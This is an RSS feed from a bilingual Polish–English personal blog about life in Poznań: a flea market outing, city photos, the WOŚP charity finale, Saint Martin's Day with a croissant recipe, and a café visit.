<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Miszelkowy schowek &#187; Poznańskie klimaty</title>
	<atom:link href="http://michelle.schowek.net/category/poznanskie-klimaty/feed" rel="self" type="application/rss+xml" />
	<link>http://michelle.schowek.net</link>
	<description></description>
	<lastBuildDate>Fri, 10 Feb 2012 09:47:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Stara Rzeźnia</title>
		<link>http://michelle.schowek.net/2010/11/19/stara-rzeznia</link>
		<comments>http://michelle.schowek.net/2010/11/19/stara-rzeznia#comments</comments>
		<pubDate>Fri, 19 Nov 2010 05:22:22 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>
		<category><![CDATA[spotkanie]]></category>
		<category><![CDATA[starocie]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/?p=4828</guid>
		<description><![CDATA[&#8230;to jedno z moich ulubionych miejsc w Poznaniu. Ostatnio miałam okazję spędzić tam kilka godzin w przemiłym towarzystwie Guriany i Cynki. Hitem całej wyprawy stał się dialog: - Idziemy tam? - Nie, tam nie ma nic zardzewiałego. . A więc &#8211; szłyśmy tam gdzie było &#8222;dużo zardzewiałego&#8221;. Ryłyśmy w skrzyniach pełnych zdezelowanych zamków i w [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;to jedno z moich ulubionych miejsc w Poznaniu. Ostatnio miałam okazję spędzić tam kilka godzin w przemiłym towarzystwie <a href="http://guriana.blogspot.com/">Guriany</a> i <a href="http://cynkowepoletko.blogspot.com/">Cynki</a>. Hitem całej wyprawy stał się dialog:<br />
- Idziemy tam?<br />
- Nie, tam nie ma nic zardzewiałego.</p>
<p>.<br />
A więc &#8211; szłyśmy tam gdzie było &#8222;dużo zardzewiałego&#8221;. Ryłyśmy w skrzyniach pełnych zdezelowanych zamków i w stosach zaśniedziałych platerów, przerzucałyśmy wspólnie pęki zardzewiałych kluczy i skorodowanych kłódek. Wygrzebywałyśmy stare, pożółkłe fotografie i zniszczone książki. Piszczałyśmy na widok cyferblatów i targowałyśmy się o zębatki.<br />
Mimo deszczu było wspaniale&#8230; i intrygująco. Marzę o takim komplecie pięknych butelek&#8230;</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0200.jpg" rel="lightbox[4828]"><img class="size-medium wp-image-4806 aligncenter" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0200-500x333.jpg" alt="" width="500" height="333" /></a></p>
<p>A główeczkę może niekoniecznie, chociaż pięknie się prezentowała.</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0206.jpg" rel="lightbox[4828]"><img class="size-medium wp-image-4807 aligncenter" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0206-500x333.jpg" alt="" width="500" height="333" /></a></p>
<p>Po zaspokojeniu żądzy zakupów (a raczej po wydaniu wszystkich pieniędzy), uniosłyśmy nasze łupy do Republiki Róż. Najpierw oczywiście jeszcze raz przejrzałyśmy zakupy, nie mogąc się nacieszyć swoimi zdobyczami.</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0220.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4809" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0220-270x180.jpg" alt="" width="270" height="180" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0219.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4808" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0219-270x180.jpg" alt="" width="270" height="180" /></a></p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0233.jpg" rel="lightbox[4828]"><img class="size-medium wp-image-4810 aligncenter" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0233-500x333.jpg" alt="" width="500" height="333" /></a></p>
<p>Swoje zakupy na blogach pokazały i<a href="http://cynkowepoletko.blogspot.com/2010/11/upy.html"> Cynka</a> i<a href="http://guriana.blogspot.com/2010/11/sobota.html"> Guriana</a>, a więc i ja podzielę się radością, jaką niewątpliwie przynosi wejście w posiadanie kilkunastu kluczy i zębatych kółek, wielkiej, metalowej litery M,  kilku książek&#8230;</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0248.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4811" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0248-270x246.jpg" alt="" width="270" height="246" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0249.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4812" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0249-270x180.jpg" alt="" width="270" height="180" /></a><br />
<a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0255.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4814" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0255-270x186.jpg" alt="" width="270" height="186" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0258.jpg" rel="lightbox[4828]"><img class="alignnone size-thumbnail wp-image-4815" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0258-270x180.jpg" alt="" width="270" height="180" /></a></p>
<p>&#8230;oraz  starej szuflady z przegródkami, pełnej rozlicznych zardzewiałości.</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0253.jpg" rel="lightbox[4828]"><img class="alignnone size-medium wp-image-4813" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0253-500x394.jpg" alt="" width="500" height="394" /></a></p>
<p>Krótko potem &#8211; w kawiarni odbyło się spotkanie Koła Gospodyń Miejskich i Podmiejskich &#8211; czyli scrapujących i craftujących Poznanianek i Wielkopolanek. Jak zwykle było wesoło i jak zwykle cudownie. Gorąca czekolada lała się strumieniami, obejrzano przyniesione prace, omówiono wymiany i wzniesiono toasty za Tima Holtza (oby jego stemple zawsze dobrze się odbijały).<br />
Gwoździem programu była jednak &#8211; jak zawsze &#8211; literkowa wymiana. Tym razem wymieniałyśmy się przedmiotami na literę G. Więcej informacji na temat spotkania znajdziecie tutaj, na naszym grupowym <a href="http://kgmip.blogspot.com/2010/11/zaoga-g.html">blogu</a>.<br />
O swojej <a href="http://michelle.schowek.net/2010/11/14/grzeda-i-gniazdo-perch-and-nest">grzędzie i gnieździe</a> pisałam już wcześniej, pokażę jeszcze Głębię Granatu &#8211; przepiękny komplet biżuterii który wylosowałam od <a href="http://decomania-ania.blogspot.com/">Ani Decomani</a>. Komplet wykonany jest z prawdziwych granatowych pereł i zapakowany jest w niesamowite pudełeczko &#8211; nie mam zdjęć, ale możecie je podejrzeć <a href="http://decomania-ania.blogspot.com/2010/11/co-ma-wisiec-nie-utonie.html">tutaj</a>. Aniu, dziękuję kochana :) to będzie komplet na wielkie okazje :)</p>
<p style="text-align: center;"><a href="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0264.jpg" rel="lightbox[4828]"><img class="size-medium wp-image-4817 aligncenter" title="SONY DSC" src="http://michelle.schowek.net/wp-content/uploads/2010/11/DSC0264-500x333.jpg" alt="" width="500" height="333" /></a></p>
<p>&#8230;it means Old Slaughtergouse. It&#8217;s a place in my city, where fleamarket and antique market is organized. Last weekend I spent there few hours with Guriana i Cynka. The greatest hit was the dialogue:<br />
- Can we go that way?<br />
- No, there&#8217;s nothing rusty there.<br />
So &#8211; we went only where was something rusty :) We saw piles of rusty keyholes and keys, old books, antique photos, old padlocks and clocks parts. When we spent all money &#8211; we went to Republika Róż (Roses Republic) and we show each other what we&#8217;ve bought :) Cynka i Guriana has shown their stuff, so here you can also see mine &#8211; I love this old wooden drawer full of rusty things!<br />
Then, we took part in our meeting  &#8211; group of scrapping and crafting ladies from Poznań, suburbs and nearby villages &#8211; we know each other from the scrapbooking phorum. This time we swapped with things for a G letter. I showed <a href="http://michelle.schowek.net/2010/11/14/grzeda-i-gniazdo-perch-and-nest">there</a> my gifts, and here you can see what I&#8217;ve got from <a href="http://decomania-ania.blogspot.com/">Ania Decomania</a> &#8211; great jewellery set called Mazarine Depth, which is on Polish for G letter :) It was packed in lovely box which you can see <a href="http://decomania-ania.blogspot.com/2010/11/co-ma-wisiec-nie-utonie.html">here</a>.</p>
<p>It was great meeting!</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2010/11/19/stara-rzeznia/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Fotki / Photos</title>
		<link>http://michelle.schowek.net/2008/03/11/fotki-photos</link>
		<comments>http://michelle.schowek.net/2008/03/11/fotki-photos#comments</comments>
		<pubDate>Tue, 11 Mar 2008 07:02:41 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2008/03/11/fotki-photos/</guid>
		<description><![CDATA[Ładna pogoda daje wiele okazji do robienia ciekawych zdjęć. Te zrobiłam ostatnio, a Krzysiek twierdzi, że przy takiej pogodzie świat wygląda jak teatralna scenografia. Beautiful weather is a good occasion to do some nice photos. I made them lately, and Krzysiek claims, that during that weather everything looks like scenography in the theatre.]]></description>
			<content:encoded><![CDATA[<p>Ładna pogoda daje wiele okazji do robienia ciekawych zdjęć. Te zrobiłam ostatnio, a <a href="http://xis.schowek.net/">Krzysiek</a> twierdzi, że przy takiej pogodzie świat wygląda jak teatralna scenografia.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2008/03/11.jpg" title="Ulica Staszica" rel="lightbox[1233]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/03/11.thumbnail.jpg" alt="11.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2008/03/12.jpg" title="Ulica Staszica" rel="lightbox[1233]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/03/12.thumbnail.jpg" alt="12.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2008/03/13.jpg" title="Ulica Staszica" rel="lightbox[1233]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/03/13.thumbnail.jpg" alt="13.jpg" /></a></p>
<p>Beautiful weather is a good occasion to do some nice photos. I made them lately, and <a href="http://xis.schowek.net/">Krzysiek</a> claims, that during that weather everything looks like scenography in the theatre.</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2008/03/11/fotki-photos/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WOŚP</title>
		<link>http://michelle.schowek.net/2008/01/14/wosp</link>
		<comments>http://michelle.schowek.net/2008/01/14/wosp#comments</comments>
		<pubDate>Mon, 14 Jan 2008 10:22:16 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2008/01/14/wosp/</guid>
		<description><![CDATA[To chyba jedyny wpis na tym blogu, w którym słowa są zbędne :) Nikomu nie trzeba tłumaczyć, co to jest Wielka Orkiestra Świątecznej Pomocy i co robiłam na 16 finale w Poznaniu. Większe wyjaśnienia prawdopodobnie przydałyby się naszym zagranicznym znajomym :) Może więc tylko, dla formalności dodam, że stronę główną WOŚP znajdziecie tu, a poniżej [...]]]></description>
			<content:encoded><![CDATA[<p>To chyba jedyny wpis na tym blogu, w którym słowa są zbędne :) Nikomu nie trzeba tłumaczyć, co to jest Wielka Orkiestra Świątecznej Pomocy i co robiłam na 16 finale w Poznaniu. Większe wyjaśnienia prawdopodobnie przydałyby się naszym zagranicznym znajomym :) Może więc tylko, dla formalności dodam, że  stronę główną WOŚP znajdziecie <a href="http://wosp.org.pl/">tu</a>, a poniżej kilka fotek z poznańskiego finału i &#8222;Światełka do nieba&#8221;.</p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp.jpg" title="16 finał Wielkiej Orkiestry Świątecznej Pomocy" rel="lightbox[1043]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp.thumbnail.jpg" alt="wosp.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp4.jpg" title="16 finał Wielkiej Orkiestry Świątecznej Pomocy" rel="lightbox[1043]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp4.thumbnail.jpg" alt="wosp4.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp2.jpg" title="16 finał Wielkiej Orkiestry Świątecznej Pomocy" rel="lightbox[1043]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp2.thumbnail.jpg" alt="wosp2.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp5.jpg" title="16 finał Wielkiej Orkiestry Świątecznej Pomocy" rel="lightbox[1043]"><img src="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp5.thumbnail.jpg" alt="wosp5.jpg" /></a></p>
<p><a href="http://michelle.schowek.net/wp-content/uploads/2008/01/wosp4.jpg" title="16 finał Wielkiej Orkiestry Świątecznej Pomocy" rel="lightbox[1043]"><br />
</a></p>
<p><font face="Verdana"><font size="2"><span><a href="http://www.en.wosp.org.pl/final/">The Great Finale</a> of </span></font></font><font face="Verdana"><font size="2"><span>Wielka Orkiestra Świątecznej Pomocy (<a href="http://www.en.wosp.org.pl/fundation/index.php/31/2">The Great Orchestra of Christmas Charity</a>) in Poznań. This is the greatest and the biggest charity project in Poland. At these last two photos you can see &#8222;Light to heaven&#8221; &#8211; it&#8217;s a great happening &#8211; we use fireworks, candles (even lighters or matches) to send an angels &#8211; in form of lights &#8211; to the heaven. If you use the links, which I included in this blog entry, you can read (in English) many information about this action. I donated some money and my blood for charity purpose and I spent deeply moving moments during this event&#8230;.  </span></font></font></p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2008/01/14/wosp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vivat Święty Marcin! / Vivat Saint Martin!</title>
		<link>http://michelle.schowek.net/2007/11/11/vivat-swiety-marcin-vivat-saint-martin</link>
		<comments>http://michelle.schowek.net/2007/11/11/vivat-swiety-marcin-vivat-saint-martin#comments</comments>
		<pubDate>Sun, 11 Nov 2007 18:07:29 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/11/11/vivat-swiety-marcin-vivat-saint-martin/</guid>
		<description><![CDATA[Patronami Poznania są święci Piotr i Paweł. Jednak najpopularniejszym poznańskim świętym jest &#8211; Święty Marcin. Wcielony do rzymskich legionów znalazł się w 338 roku w Galii, w mieście Amiens. Tam, zimą, jadąc na białym koniu, spotkał u bram miasta półnagiego żebraka, trzęsącego się z zimna. Wzruszony, rozdarł swój płaszcz i oddał jego połowę biedakowi. Tyle [...]]]></description>
			<content:encoded><![CDATA[<p>Patronami Poznania są święci Piotr i Paweł. Jednak najpopularniejszym poznańskim świętym jest &#8211; Święty Marcin. Wcielony do rzymskich legionów znalazł się w 338 roku w Galii, w mieście Amiens. Tam, zimą, jadąc na białym koniu,  spotkał u bram miasta półnagiego żebraka, trzęsącego się z zimna. Wzruszony, rozdarł swój płaszcz i oddał jego połowę biedakowi. Tyle z hagiografii :) Całą historię znajdziecie <a href="http://www.poznan.pl/mim/public/swmarcin/pages.html?co=list&amp;id=221&amp;ch=8985&amp;instance=1017&amp;lang=pl&amp;lhs=swmarcin">tutaj</a>.</p>
<p>W Poznaniu znajduje się ulica Święty Marcin, której imieniny obchodziliśmy dzisiaj.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin.thumbnail.jpg" alt="marcin.jpg" /></a></p>
<p>Skąd ta nazwa? W XII wieku niedaleko kościoła Świętego Marcina w Poznaniu powstała osada zamieszkiwana oprzez rzemieślników, nazwana od ich patrona. W 1797 roku włączono ją w granice miasta. Prowadząca do niej droga stała się ulicą (jedną z największych w mieście) i od nazwy osady uzyskała nazwę &#8211; Święty Marcin.  W czasach PRL została &#8211; a jakże &#8211; przemianowana na ulicę Armii Czerwonej, jednakże Poznaniacy mimo to nazywali ją Świętym Marcinem.</p>
<p>Tradycyjnie w dniu 11 listopada (to dzień pogrzebu świętego) &#8211; przez Poznań przechodzi korowód, a na jego czele, na białym koniu, w długim, biało-czerwnym płaszczu przejeżdża święty Marcin. Prezydent Poznania pod zamkiem wręcza mu  klucze do miejskich bram, by mógł objąć władanie w Poznaniu. Samego Marcina nie udało mi się zobaczyć, jednak jego orszak był dobrze widoczny.</p>
<p align="center">  <a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin2.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin2.thumbnail.jpg" alt="marcin2.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin3.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin3.thumbnail.jpg" alt="marcin3.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin4.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin4.thumbnail.jpg" alt="marcin4.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin5.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin5.thumbnail.jpg" alt="marcin5.jpg" /></a></p>
<p>Potem Poznaniacy obchodzą imieniny swej ukochanej ulicy &#8211; pod zamkiem odbywają się koncerty i występy.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin6.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin6.thumbnail.jpg" alt="marcin6.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin7.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin7.thumbnail.jpg" alt="marcin7.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin8.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin8.thumbnail.jpg" alt="marcin8.jpg" /></a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin9.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin9.jpg" title="Vivat Święty Marcin!" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/marcin9.thumbnail.jpg" alt="marcin9.jpg" /></a></p>
<p>W tym dniu także każdy szanujący się Poznaniak objada się świętomarcińskimi rogalami.</p>
<p><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale3.jpg" title="Świętomarcińskie rogale :)" rel="lightbox[745]"></a></p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale3.jpg" title="Świętomarcińskie rogale :)" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale3.thumbnail.jpg" alt="rogale3.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/plakat.jpg" title="plakat.jpg" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/plakat.thumbnail.jpg" alt="Plakat powięcony rogalom :)" /></a></p>
<p>Zgodnie z legendą,  kiedyś, proboszcz parafii świętego Marcina poprosił o dary dla biednych (ponoć miało to miejsce w 1891 roku). Jeden z poznańskich cukierników (ponoć nazywał się Józef Melzer) przyniósł na odpust 3 blachy słodkości i ofiarował je ubogim.</p>
<p>Tak powstały świętomarcińskie rogale &#8211; ich kształt ma symbolizować podkowę, zagubioną przez konia świętego (co, wedle historii, przyśniło się cukiernikowi).</p>
<p>Piecze się je z ciasta drożdżowego i wypełnia masą z białego maku i bakalii. Największym powodzeniem cieszą się te pieczone przez cukiernie posiadające certyfikat, który przyznaje specjalna kapituła. W tym roku takie certyfikaty przyznano 90 cukierniom. Znalazłam też w internecie informację, że co roku Poznaniacy zjadają około 300 ton rogali!</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale.jpg" title="Świętomarcińskie rogale :)" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale.thumbnail.jpg" alt="rogale.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale2.jpg" title="Świętomarcińskie rogale :)" rel="lightbox[745]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/rogale2.thumbnail.jpg" alt="rogale2.jpg" /></a></p>
<p>Znalazłam nawet przepis na nasze rogale.</p>
<p>Ciasto:</p>
<ul>
<li>1 kg mąki pszennej</li>
<li>6 jaj</li>
<li>0,5 kostki masła<span><strong> </strong></span></li>
<li>2 łyżki cukru</li>
<li>50 dkg drożdży</li>
<li>1 szklanka mleka</li>
</ul>
<p>Nadzienie:</p>
<ul>
<li>1,5 szklanki cukru pudru</li>
<li>200g migdałów i orzechów</li>
<li>100g białego maku</li>
<li>śmietana</li>
</ul>
<p><span></span>Drożdże rozpuścić w niewielkiej ilości mleka. Jajka utrzeć z cukrem i połączyć ze stopionym masłem. Nie przerywając ubijania, dodawać porcjami przesianą mąkę, mleko oraz wcześniej przygotowane drożdże. Ciasto wyrabiać do chwili, gdy zaczną pokazywać się pęcherzyki i wtedy pozostawić w ciepłym miejscu do wyrośnięcia. Migdały, orzechy i mak zaparzyć, zemleć, utrzeć z cukrem i śmietaną aż do uzyskania gęstej masy. Wyrośnięte ciasto rozwałkować i pokroić na kwadraty. Na każdy z nich nałożyć porcję wcześniej przygotowanej masy, uformować rogaliki i pozostawić w ciepłym miejscu do wyrośnięcia. Wstawić do gorącego piekarnika i piec w temp. 220-250 stopni na złoty kolor.</p>
<p align="center">.</p>
<p> My city &#8211; Poznań &#8211; has two patrons &#8211; Saint Peter and Saint Paul. But citizens of Poznań have their own favourite saint &#8211; it&#8217;s Saint Martin. According to a legend, he was, as a legionnaire, in Gaul, in the Amiens city. When he rode on white horse, during the winter, he met half naked begard. In the act of his mercy, he tore his coat in two pieces and one gave to the begard.<br />
We have a street named Saint Martin, and each year in the day of 11th November we celebrate saint&#8217;s day of this street. At this day, Saint Martin on white horse lead a procession from Saint Martin&#8217;s Church through Saint Martin Street. There, before the Castle, he receive city keys from town clerk and for this day he reign a city. Then we have concerts and shows.<br />
At 11th November all people eat our traditional Poznań Saint Martin croissant &#8211; they are baked only in my town! And the better croissants are from certificated cake shops. I&#8217;ve read that we eat 30 tons of croissants each year!</p>
<p>Today, because of the crowd, I didn&#8217;t manage to see the &#8222;Saint&#8221; himself, but I saw his procession. And, of course, I ate my saint Martins croissant &#8211; they were delicious!<br />
I found the recipe for this traditional sweets.</p>
<p>Croisant dough:</p>
<ul>
<li>1 kg flour</li>
<li>6 eggs</li>
<li>0,5 butter<span></span></li>
<li>2 spoon of sugar</li>
<li>50 dkg leaven</li>
<li>1 cup of milk</li>
</ul>
<p>Stuffing:</p>
<ul>
<li>1,5 cup caster sugar</li>
<li>200g almonds and walnut</li>
<li>100g white poppy seeds</li>
<li>cream</li>
</ul>
<p><span></span>Leaven mix with small amount of milk. Whip eggs with sugar and add melt butter. During whipping add flour in small portions, milk and leaven. Knead dough till bubbles appera and then leave in warm place to grow.  Parboiled almonds, walnuts and poppy seeds, then grind and whip with caster sugar and cream. When dough grew pin it out with rolling-pin and carve up to squares. Put portion of stuffing on each square, form the croissant and leave in warm place to grow.  Preheat oven to 220-250 Celsius degrees and bake until croissants will be in gold colour.</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/11/11/vivat-swiety-marcin-vivat-saint-martin/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Gołębnik</title>
		<link>http://michelle.schowek.net/2007/11/09/golebnik</link>
		<comments>http://michelle.schowek.net/2007/11/09/golebnik#comments</comments>
		<pubDate>Fri, 09 Nov 2007 16:00:14 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/11/09/golebnik/</guid>
		<description><![CDATA[Jakiś czas temu znudziły mi się piwne knajpki. Prawdopodobnie dlatego, że w czasie studiów pracowałam jako barmanka, nie lubię przesiadywania po nocach (chodzę spać z &#8222;kurami&#8221; :)). Drażnią mnie kłęby papierosowego dymu i tłumy ludzi. Rzadko gdzieś wychodzę, bo wolę spędzać czas w domu, z moimi zwierzakami i robótkami. Ponieważ jednak czasami miło jest gdzieś [...]]]></description>
			<content:encoded><![CDATA[<p>Jakiś czas temu znudziły mi się piwne knajpki. Prawdopodobnie dlatego, że w czasie studiów pracowałam jako barmanka, nie lubię przesiadywania po nocach (chodzę spać z &#8222;kurami&#8221; :)). Drażnią mnie kłęby papierosowego dymu i tłumy ludzi. Rzadko gdzieś wychodzę, bo wolę spędzać czas w domu, z moimi zwierzakami i robótkami.</p>
<p>Ponieważ jednak czasami miło jest gdzieś wyjść, wpadłam na pomysł, by co tydzień w weekend wybierać się z koleżanką do jakiejś kawiarenki (oczywiście szybko okazało się, że niemożliwością jest znalezienie czasu raz na tydzień, więc wybieramy się rzadziej). Nie jem słodyczy, ale raz na jakiś czas mogę sobie zrobić taką przyjemność (oczywiście te zdjęcia zrobiłam przed przejściem na dietę).</p>
<p>Tak więc w jedną z niedziel zapoczątkowałyśmy tę tradycję &#8211; na pierwszy ogień poszła moja ulubiona knajpka &#8211; Gołębnik (oczywiście mieści sie koło poznańskiego Starego Rynku).</p>
<p>To Aga i ja przy naszych słodkościach&#8230;</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik.thumbnail.jpg" alt="golebnik.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik2.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik2.thumbnail.jpg" alt="golebnik1.jpg" /></a></p>
<p align="left">&#8230; czekoladzie oraz muffinkach.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik1.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik1.thumbnail.jpg" alt="golebnik1.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik7.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik7.thumbnail.jpg" alt="golebnik7.jpg" /></a></p>
<p>Tym co mnie przyciąga do tego miejsca (poza pysznościami oczywiście) jest przemiły wystrój. Przytulny, swojski, domowy&#8230; i staroświecki.</p>
<p><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik1.jpg" title="W " rel="lightbox[649]"></a></p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik1.jpg" title="W Gołębniku" rel="lightbox[649]"></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik3.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik3.thumbnail.jpg" alt="golebnik3.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik4.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik4.thumbnail.jpg" alt="golebnik4.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik5.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik5.thumbnail.jpg" alt="golebnik5.jpg" /></a></p>
